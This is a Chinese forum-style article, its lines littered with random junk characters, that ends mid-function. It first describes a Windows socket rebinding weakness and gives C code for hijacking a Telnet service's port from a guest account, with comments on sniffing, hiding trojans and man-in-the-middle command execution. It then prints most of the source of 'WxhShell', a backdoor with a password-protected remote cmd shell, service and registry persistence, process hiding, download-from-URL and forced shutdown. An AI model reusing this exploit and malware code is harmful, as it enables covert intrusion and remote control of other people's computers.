在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
e)"]H* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e=e^;K4 d^p af saddr.sin_family = AF_INET;
z><uYO$ 7L)edR[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Xfo3fW)s <+o*"z\mI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>U. WZ,}]D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
dp;;20z IdTatE|^ 这意味着什么?意味着可以进行如下的攻击:
8$9Q=M VAPRI\uM; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4
JC*c ,t?c=u\5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
nwSujD c$fi3O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]:H((rk Y%$@ZYW 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~hiJOaCzM LelCjC{`1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
N!me:|Dn vl}fC@%WRI 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
(h&XtFul} DPV>2'
fV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CcDmZ ;zq3>A #include
`eZ
+Pf". #include
JdYmUM|K/c #include
"!w$7|%T #include
s0D,n1x DWORD WINAPI ClientThread(LPVOID lpParam);
8&K1;l } int main()
^v2-"mX< {
HV0! G-h WORD wVersionRequested;
}253Q!f DWORD ret;
x{'3eJ^8 WSADATA wsaData;
=@ SJyW BOOL val;
,?k0~fuG6 SOCKADDR_IN saddr;
3$ 'eDa[ SOCKADDR_IN scaddr;
s*XE int err;
A5WchS' SOCKET s;
TK! D=M SOCKET sc;
-=;V*; int caddsize;
44r@8HO1 HANDLE mt;
fCMFPhF DWORD tid;
E\$7tXQK6 wVersionRequested = MAKEWORD( 2, 2 );
U-]Rm}X\M err = WSAStartup( wVersionRequested, &wsaData );
cu|S|]g if ( err != 0 ) {
mQ$a^28=qR printf("error!WSAStartup failed!\n");
Sh@en\m=#S return -1;
th
:I31 }
4Y'Kjx saddr.sin_family = AF_INET;
@gc|Z]CV !EwL"4pPw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
{?+dVLa^; %B#(d)T*- saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
wO-](3A-8P saddr.sin_port = htons(23);
XT"- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bjq+x:> {
BH;7CK=7R printf("error!socket failed!\n");
i!nPiac return -1;
Sd9%tO9mf }
{J[5 {]Je[ val = TRUE;
Qnr7Qnb //SO_REUSEADDR选项就是可以实现端口重绑定的
S&q(PI_" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
I
k[{,p {
N!=$6`d printf("error!setsockopt failed!\n");
E0lro+'lS return -1;
Fcp8RBq }
3;E,B7,mQ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kv8
/UW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$qp,7RW //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/4xp?Lo: vR*TW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
S-Z s
{
+\D?H.P ret=GetLastError();
4k6,pt" printf("error!bind failed!\n");
9$iDK$% return -1;
%uUQBZ4 }
uK!G-1
listen(s,2);
-ge :y2R_w while(1)
9{(A- {
^6?)EM# caddsize = sizeof(scaddr);
Wf>P[6 //接受连接请求
==^9_a^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
M[}aQWT$v if(sc!=INVALID_SOCKET)
(Z)F6sZ`8 {
vi8)U]6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/l.ox.4z# if(mt==NULL)
YB?5s`vr9d {
F-&=N {+ printf("Thread Creat Failed!\n");
$KAOJc4< break;
B{dR/q3;@ }
>`S $(f }
C\RJ){dk CloseHandle(mt);
um}%<Cy[ }
] l@Mo7|w closesocket(s);
a}#8n^2 WSACleanup();
y$h.k"x` return 0;
='U>P(
R- }
d:"#_ DWORD WINAPI ClientThread(LPVOID lpParam)
NW
AT" {
fk)5TPc^ SOCKET ss = (SOCKET)lpParam;
p@Va`:RDW SOCKET sc;
mcgkNED unsigned char buf[4096];
Zk .V
SOCKADDR_IN saddr;
#@^mA{Dt5 long num;
M&q3xo"w DWORD val;
(h$[g"8 DWORD ret;
-,Y[`(q //如果是隐藏端口应用的话,可以在此处加一些判断
k&dLg5O //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
piPx8jT`F saddr.sin_family = AF_INET;
u.~`/O saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[i 7^a/e saddr.sin_port = htons(23);
{<J(*K*\Jo if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'Io2",~
M {
2]i>kV/,0 printf("error!socket failed!\n");
a* GiLq return -1;
Kx<T;iJ} }
!8ch&cr)o+ val = 100;
eX0ASI9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8-.jf {
F&[MyX U4 ret = GetLastError();
Mb
+ return -1;
Hp}d m93T }
Ku3/xcu:My if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ao}J {
3l?-H|T ret = GetLastError();
R|OY5@ return -1;
8-clL\bm }
[e.@Yx_} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{%PgR){qR {
-q6d&D'B+ printf("error!socket connect failed!\n");
g71|t7Q closesocket(sc);
RX6s[uQ closesocket(ss);
wB0Ke return -1;
x |0@T ? }
y%NZ(Y,v while(1)
WN`|5"?$ {
PYPDK*Ie //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
wz1fl#WU //如果是嗅探内容的话,可以再此处进行内容分析和记录
g*a|QBj% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:0o,pndU num = recv(ss,buf,4096,0);
B(/)mB if(num>0)
]Ac&h
aAP send(sc,buf,num,0);
>?yxig:_ else if(num==0)
gPYF2m break;
s>+,u7EV num = recv(sc,buf,4096,0);
tLc9- if(num>0)
aH(B}wh{ send(ss,buf,num,0);
W^sH|2g else if(num==0)
tJgo%P1 break;
L,PD4H"8 }
WiBO8N,%` closesocket(ss);
9EI Oa/* closesocket(sc);
klON6<w return 0 ;
=bDy :yY} }
U)B^R 6Q}WX[| tQ /QT"5fxKJ ==========================================================
2S#|[wq( NJ ];Ck 下边附上一个代码,,WXhSHELL
N sNk
6B .x= ==========================================================
uFH ]w]X fBZAO #include "stdafx.h"
J~,Ny_L _Vl22'wl #include <stdio.h>
$<QOMfY> #include <string.h>
%M
KZ':m #include <windows.h>
p%?m|(4f #include <winsock2.h>
0'Y'K6hG` #include <winsvc.h>
kH9P(`;Vq #include <urlmon.h>
Bk)*Z/1<x F\U^-/0, #pragma comment (lib, "Ws2_32.lib")
y)%CNH)*x #pragma comment (lib, "urlmon.lib")
Okt0b|=`1* [n!5!/g>j #define MAX_USER 100 // 最大客户端连接数
x.ZW%P1 #define BUF_SOCK 200 // sock buffer
[8OQ5}do/ #define KEY_BUFF 255 // 输入 buffer
@}[yC[' \u@*FTS #define REBOOT 0 // 重启
m(6SiV=D9 #define SHUTDOWN 1 // 关机
$~s|%>@
7%g8&d #define DEF_PORT 5000 // 监听端口
brXLx+H8 G+dQ" cI9 #define REG_LEN 16 // 注册表键长度
08 $y1; #define SVC_LEN 80 // NT服务名长度
LLlt9(^d 07FS|>DM'Z // 从dll定义API
riuG,$EX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
XoZPz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d=J$H< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
MfJ8+3@K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
M`jqUg \f6@B:?y // wxhshell配置信息
gp`H>Sn.| struct WSCFG {
`mt.=d int ws_port; // 监听端口
`Fn6*_n char ws_passstr[REG_LEN]; // 口令
L
UitY int ws_autoins; // 安装标记, 1=yes 0=no
U.mVz,k3 char ws_regname[REG_LEN]; // 注册表键名
Nd] w I|> char ws_svcname[REG_LEN]; // 服务名
FK ~FC:K char ws_svcdisp[SVC_LEN]; // 服务显示名
uOU?-WtPz char ws_svcdesc[SVC_LEN]; // 服务描述信息
1>wQ&{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|1z?#@BH int ws_downexe; // 下载执行标记, 1=yes 0=no
}g@5%DI] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
h0v4!`PQ- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Z6Kw'3 bm Hl\? };
]`S35b -kZOve|5 // default Wxhshell configuration
Ait3KIJ9 struct WSCFG wscfg={DEF_PORT,
4IEF{"c_8 "xuhuanlingzhe",
q)Uh_l.Cj 1,
:fW\!o8Z2 "Wxhshell",
kCoTz"Z- "Wxhshell",
gr%!<2w "WxhShell Service",
B)1.CHV%< "Wrsky Windows CmdShell Service",
=5PNH 2 "Please Input Your Password: ",
dDeImSeV 1,
X?Yp=%% "
http://www.wrsky.com/wxhshell.exe",
N Dt +m "Wxhshell.exe"
>^!qxb- };
D-GI rw{>5 spV E'"^ // 消息定义模块
m:{ws~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|i-d#x8 char *msg_ws_prompt="\n\r? for help\n\r#>";
!4ZszQg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>#jfZ5t char *msg_ws_ext="\n\rExit.";
:vqfWK6mv char *msg_ws_end="\n\rQuit.";
a/(IvOy#6 char *msg_ws_boot="\n\rReboot...";
JkiMrpkuk char *msg_ws_poff="\n\rShutdown...";
pP`KI'aUN char *msg_ws_down="\n\rSave to ";
j![ ; ; @\_l%/z{ char *msg_ws_err="\n\rErr!";
u\,("2ZW9+ char *msg_ws_ok="\n\rOK!";
8,(FJ7OCT, tCw.wDq3= char ExeFile[MAX_PATH];
,2I8,MOg int nUser = 0;
gp/_# QVWC HANDLE handles[MAX_USER];
s?j` _B int OsIsNt;
iHp@R-g rps2sXGr SERVICE_STATUS serviceStatus;
xq.HR_\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
pu"`*NL w=r3QKm#K // 函数声明
<`~zKFUQ[ int Install(void);
RH=Tu6i int Uninstall(void);
&vy/Vd int DownloadFile(char *sURL, SOCKET wsh);
?4]#gCks int Boot(int flag);
##6_kcL:6G void HideProc(void);
D~< 3 int GetOsVer(void);
s /?&H- int Wxhshell(SOCKET wsl);
)AX0x1I|E void TalkWithClient(void *cs);
E903T' 's int CmdShell(SOCKET sock);
Mk*&CNo3 int StartFromService(void);
P[.BK int StartWxhshell(LPSTR lpCmdLine);
q
$Hg\ {c N<xf=a+j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
UP@a
?w VOID WINAPI NTServiceHandler( DWORD fdwControl );
RawK9K_1 }P5zf$ // 数据结构和表定义
*acN/Ca1 SERVICE_TABLE_ENTRY DispatchTable[] =
!_EaF`oh( {
2hjR'6h"Y {wscfg.ws_svcname, NTServiceMain},
XYKWOrkQqa {NULL, NULL}
HlkG^:) };
:uAW Zl0Kv*S // 自我安装
F^m`j6 int Install(void)
m]bv2S+5 y {
!Cm<K*c"&E char svExeFile[MAX_PATH];
PgKA>50a HKEY key;
a:PS}_. strcpy(svExeFile,ExeFile);
lF:gQ]oc blwdcdh // 如果是win9x系统,修改注册表设为自启动
c
!$
8> if(!OsIsNt) {
6AZJ,Q\E@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B%v2)+?@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
mulK(mp RegCloseKey(key);
`ym@U(;N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C-;y#a) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4T-9F RegCloseKey(key);
2V}tDN7c return 0;
#?xhfSgr }
k)W8%=R }
VrF(0,-Z`3 }
?|8QL9Q"| else {
x?J-
{6k uzO%+B! // 如果是NT以上系统,安装为系统服务
rh*Pl]'3z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
SR9Cl if (schSCManager!=0)
8oSndfV {
G>?hojvi SC_HANDLE schService = CreateService
tHSe>*eC (
8&6h() schSCManager,
tJ>OZ wscfg.ws_svcname,
pV:c`1\` wscfg.ws_svcdisp,
|Ire#0Nwx SERVICE_ALL_ACCESS,
|-N\?N9" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%]JSDb=C SERVICE_AUTO_START,
`}1IQ.3 SERVICE_ERROR_NORMAL,
Y{X79Rd svExeFile,
0]l _qxv NULL,
tT}*%A NULL,
PaF`dnJ NULL,
]X,C9 NULL,
>9{Gdq[gyr NULL
Egv (n@1 );
LL5n{#)N if (schService!=0)
\ajy%$;$} {
&?mH[rG" CloseServiceHandle(schService);
VnUWUIVJ CloseServiceHandle(schSCManager);
?Kw~O"L8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/dpEL9K strcat(svExeFile,wscfg.ws_svcname);
k%V#{t. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
i]8HzKuiW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\2#>@6Sqrl RegCloseKey(key);
<syMrXk)R( return 0;
oD]tHuDa }
]}2+yK }
&MnS(
82L CloseServiceHandle(schSCManager);
ahNpHTPa }
!es?GJq` }
5v4
,YHD S[rz=[7{ return 1;
Jrd:6Z }
+]-~UsM 12;"=9e! // 自我卸载
mG2*s ^$ int Uninstall(void)
!6:kJL}U {
smQ<lwA HKEY key;
_p/
_t76s XTpYf if(!OsIsNt) {
~a KxwH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g$<Sh.4A RegDeleteValue(key,wscfg.ws_regname);
1w}%>e-S RegCloseKey(key);
]NS{q85 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
MPx%#'Q RegDeleteValue(key,wscfg.ws_regname);
'+LbFGrO3 RegCloseKey(key);
hnag<= return 0;
Vo^
i7 }
|T<t19 }
H^{Eh }
%"|I`
m else {
7 sv
3=/` Jhdo#}Ub SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Eb66GXF[ if (schSCManager!=0)
33dHTV {
H1iewsfzH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
._j9^Ll if (schService!=0)
D+G?:mR {
&5:83#*Oj if(DeleteService(schService)!=0) {
`6a CloseServiceHandle(schService);
(D5 dN\ CloseServiceHandle(schSCManager);
(Tt\6- return 0;
+VxzWNs*JP }
xwK{}==U CloseServiceHandle(schService);
M?m Pi 3 }
+?r,Nn CloseServiceHandle(schSCManager);
lezX-5Z }
?`ETlFtD4 }
o9I=zAGjy _p0@1 s(U return 1;
c'#w 8V }
V0 70oZ 1.29%O8V_ // 从指定url下载文件
[t#xX59 int DownloadFile(char *sURL, SOCKET wsh)
FI|jsO 3 {
Sep/N"7~t HRESULT hr;
H,8HGL[l char seps[]= "/";
EjxzX1: char *token;
FfEP@$ char *file;
r"HQ>Wn char myURL[MAX_PATH];
QX`Qnk|Y char myFILE[MAX_PATH];
cV8Bl="gqe w)xiiO[ strcpy(myURL,sURL);
n{'LF #4l token=strtok(myURL,seps);
z)AZ:^!O while(token!=NULL)
j_]#Ew\q {
>+}yI}W;e file=token;
k5M3g* token=strtok(NULL,seps);
_=Y?' gHH }
3Lg)237&j nulLK28q GetCurrentDirectory(MAX_PATH,myFILE);
EhWYFQ strcat(myFILE, "\\");
ylTX strcat(myFILE, file);
Tj(DdR#w send(wsh,myFILE,strlen(myFILE),0);
nC6 ;:uM send(wsh,"...",3,0);
W"3YA+qpI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`2
6t+Tb if(hr==S_OK)
4eD>DW return 0;
r2b_$ else
*WzvPl$e return 1;
pc+'/~ *3R3C+
L }
p)&Yr hiT&QJB` _ // 系统电源模块
Xzn}gH] int Boot(int flag)
1\u{1
V {
DH IC:6EY HANDLE hToken;
5Z]]xR[ TOKEN_PRIVILEGES tkp;
q$iGeE# vRI0fDu if(OsIsNt) {
$R&K-;D/8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_48@o^{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r)]8zK4;= tkp.PrivilegeCount = 1;
*4HogC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
z%lLbKSe AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]@P!Q&V # if(flag==REBOOT) {
Z%4w{T+[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
07
E9[U[ return 0;
`fM]3]x> }
O[<YYL0 else {
VRQD
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
wSPwa,)7s return 0;
Dkyw3*LCn% }
=6O<1<[y }
h anS8 else {
bAwFC2jO[ if(flag==REBOOT) {
(k$KUP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9D`p2cO return 0;
0
zn }l6OS }
v/G)E_ else {
i5 ;_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[~5<['G return 0;
:8LK}TY7 }
g^)8a;/c }
[,TK"
/oC@:7 return 1;
u5I#5 }
M
$\!SXL ;=lQMKx0 // win9x进程隐藏模块
g!I0UAm void HideProc(void)
p/ au.mc {
S]g`Ds< Lg2z `uv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Xf%wW[~ if ( hKernel != NULL )
X$(YCb {
fl+dL#] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
z;lWr(-x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l|L
]==M FreeLibrary(hKernel);
5c 6 9M5 }
bZCNW$C3l CT[CM+ return;
?F^O7\rw }
w\%AR1,rs F-GrQd:O= // 获取操作系统版本
/|WBk} int GetOsVer(void)
I#U) {
JLh{>_Rr OSVERSIONINFO winfo;
XGSgx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
g93Hl& GetVersionEx(&winfo);
;dquld+q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bF c
% return 1;
LPS]TG\ else
LNOz.2fr> return 0;
i/j eb*d0 }
q 1~3T;Il m/p:W/0L // 客户端句柄模块
{O5(O oDa int Wxhshell(SOCKET wsl)
CH] +S>$ {
@ayrI]m#>, SOCKET wsh;
+qee8QH struct sockaddr_in client;
wj-z;YCV DWORD myID;
LLd5Z44v J?oEzf;M while(nUser<MAX_USER)
8?G534*r@2 {
, A;wLI int nSize=sizeof(client);
XG8UdR| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`Oe"s_O# if(wsh==INVALID_SOCKET) return 1;
+OfHa\Nz Fh~
pB>t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
N(Xg#m if(handles[nUser]==0)
A9kn\U92 closesocket(wsh);
]_mcJ/6: else
E#(dri*#t
nUser++;
s/0~!0 }
j)Y68fKK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#8i9@w U^d!*9R return 0;
+J
<<me4 }
r%vO^8FQ ?xYoCn}Z // 关闭 socket
4&wwmAp^ void CloseIt(SOCKET wsh)
jI45X22j {
;[! W*8.c closesocket(wsh);
lzK,VZ=mM nUser--;
RZTC+ylj ExitThread(0);
;]Ko7M(4 }
N5Ih+8zT c-=z<:Kf // 客户端请求句柄
/YD2F void TalkWithClient(void *cs)
{7d\du&G {
baz~luM O"m(C[+[ SOCKET wsh=(SOCKET)cs;
9y`Vg char pwd[SVC_LEN];
mE"},ksg char cmd[KEY_BUFF];
BiD}C char chr[1];
OG{vap) int i,j;
f/tJ>^N5 dobqYd4` while (nUser < MAX_USER) {
DH'0# Or"+d 5 if(wscfg.ws_passstr) {
Nj$h/P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'h{| ] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|>jlmaV //ZeroMemory(pwd,KEY_BUFF);
&ngG_y8}& i=0;
!R3ZyZcX while(i<SVC_LEN) {
9s`j@B0N57 Cbjx{ // 设置超时
Q}kXxud fd_set FdRead;
#({ 9M struct timeval TimeOut;
r>;6>ZMe FD_ZERO(&FdRead);
!y-,r4\@` FD_SET(wsh,&FdRead);
dc%0~Nz TimeOut.tv_sec=8;
}TsND6Ws3 TimeOut.tv_usec=0;
n}toUqUnk\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+WB';D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&]P1IQ v 8NoD_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
0qhSV B5 pwd
=chr[0]; :Kx6|83
if(chr[0]==0xd || chr[0]==0xa) { 2qe]1B;
pwd=0; 6;%Ajx
break; !1fAW!8
} ]n (:X
i++; VY_<c 98v
} ,c.(&@
#xe-Yw1!
// 如果是非法用户,关闭 socket YCS8qEP&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); : ?J0e4.]
} 8D1+["&
L__J(6,V2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4j VFzO%.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {[$JiljD
lMRy6fzI
while(1) { +Qo]'xKr
X+;{&Efrl
ZeroMemory(cmd,KEY_BUFF); &#DKB#.2
IPEJ7n49
// 自动支持客户端 telnet标准 z2Kvp"-}
j=0; VVVw\|JB>
while(j<KEY_BUFF) {
v+qHH8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ebmU~6v k
cmd[j]=chr[0]; 8*m=U@5]
if(chr[0]==0xa || chr[0]==0xd) { a+#Aitd
cmd[j]=0; mmx;Vt$i
break; ;+Uc}=
} wTK>U`o
j++; %MUh_63bB
} }`*DMI;-
2nA/{W\ hC
// 下载文件 U?sio%`(
if(strstr(cmd,"http://")) { -]e@FNL
send(wsh,msg_ws_down,strlen(msg_ws_down),0); aH+n]J]
=)
if(DownloadFile(cmd,wsh)) VT~jgsY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O0cKmh6=
else Ub9p&=]h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g_2EH
} 0
$_0T
else { y`Km96Ui
Y~C;M6(P
switch(cmd[0]) { +4--Dl?
DC6xet{
// 帮助 ( V^C7ix:
case '?': { ?PSVVUq,Z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HMrl!;:
break; R<AT}!mkR
} >wJt# ZB
// 安装 ]v6s](CE
case 'i': { A:5B6Z
if(Install()) "Oj2B|:s&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DgB]y6~KXl
else .6xIg+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wjnQK
break; p?qW;1
} yRGv {G[59
// 卸载 @h$4M t7N
case 'r': { }8,[B50
if(Uninstall()) wdzZ41y1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g9K7_T #W
else U~1jmxE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +kN/-UsB
break; g (:%E
} x8q3 Njr
// 显示 wxhshell 所在路径 0z1UF{{
case 'p': { &hri4p/
char svExeFile[MAX_PATH]; 5(V'<
strcpy(svExeFile,"\n\r"); e"]*^Q
strcat(svExeFile,ExeFile); [sF
z ;Py]
send(wsh,svExeFile,strlen(svExeFile),0); ^N`bA8
break; |wYOO(!
} r"uOf;m
// 重启 ?.%'[n>P
case 'b': { qJ8@A}}8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %e,X7W`'2
if(Boot(REBOOT)) 6}aH>(3!A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5l
ioL)
else { *6b$l.Vs
closesocket(wsh); 5^W},:3R
ExitThread(0); Sgy_?Y
} Jfs$VGZP;
break; Pm*N!:u
} n fU\l<
// 关机 B}y`E
<
case 'd': { !J@!P?0. C
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); alB[/.1
if(Boot(SHUTDOWN)) vsU1Lzna6@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v2tKk^6`(i
else { wf[B -2q)
closesocket(wsh); 8H})Dq%d 7
ExitThread(0); sVjM^y24
} ("
,(@nS
break; Oi~]~+2
} @C34^\aH+
// 获取shell ^A"TY
case 's': { ci~pM<+
CmdShell(wsh); 00d<V:Aoy
closesocket(wsh); DL:wiQ
ExitThread(0); B- `,h pp
break; q\f Z Q
} 2kS]:4)T
// 退出 ARt+"[.*p
case 'x': { OB{d^e}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B]xZ
4Y
CloseIt(wsh); '@epiF&
break; J4Tc q
} B9glPcy}SS
// 离开 `J(im
case 'q': { cGVIO"(VP
send(wsh,msg_ws_end,strlen(msg_ws_end),0); $<[Q8V-
closesocket(wsh); QlmZ4fT[r
WSACleanup(); r?l7_aBv3
exit(1); }%;o#!<N(@
break; V&75n.L
} j~ )GZV
} uR:@7n
} @},25"x)
p[zKc2 TPk
// 提示信息 ?k*%r;e>
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K Qz.g3,
} -/O_wqm#
} ^lp#j;Df
nhm)P_p
return; ? V0!N;
} y]veqa
\UF/_'=K
// shell模块句柄 }eO{+{D+
int CmdShell(SOCKET sock) Z"T#"FDIr
{ yG`J3++
S
STARTUPINFO si; `<z"BGQ
ZeroMemory(&si,sizeof(si)); ("7rjQjRz
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P&s-U6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yi*2^??`
1
PROCESS_INFORMATION ProcessInfo; nX|f?5 O
char cmdline[]="cmd"; l|z0aF;z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aB N^J_
return 0; ~rN:4Q]/
} ~KW|<n4m
k\qF> =
// 自身启动模式 )M!6y%b67
int StartFromService(void) :U}.
{ ~T{^7"q\
typedef struct VJeoO)<j
{ l=*60Ag\J~
DWORD ExitStatus; 4NY}=e5
DWORD PebBaseAddress; i Sm
.E
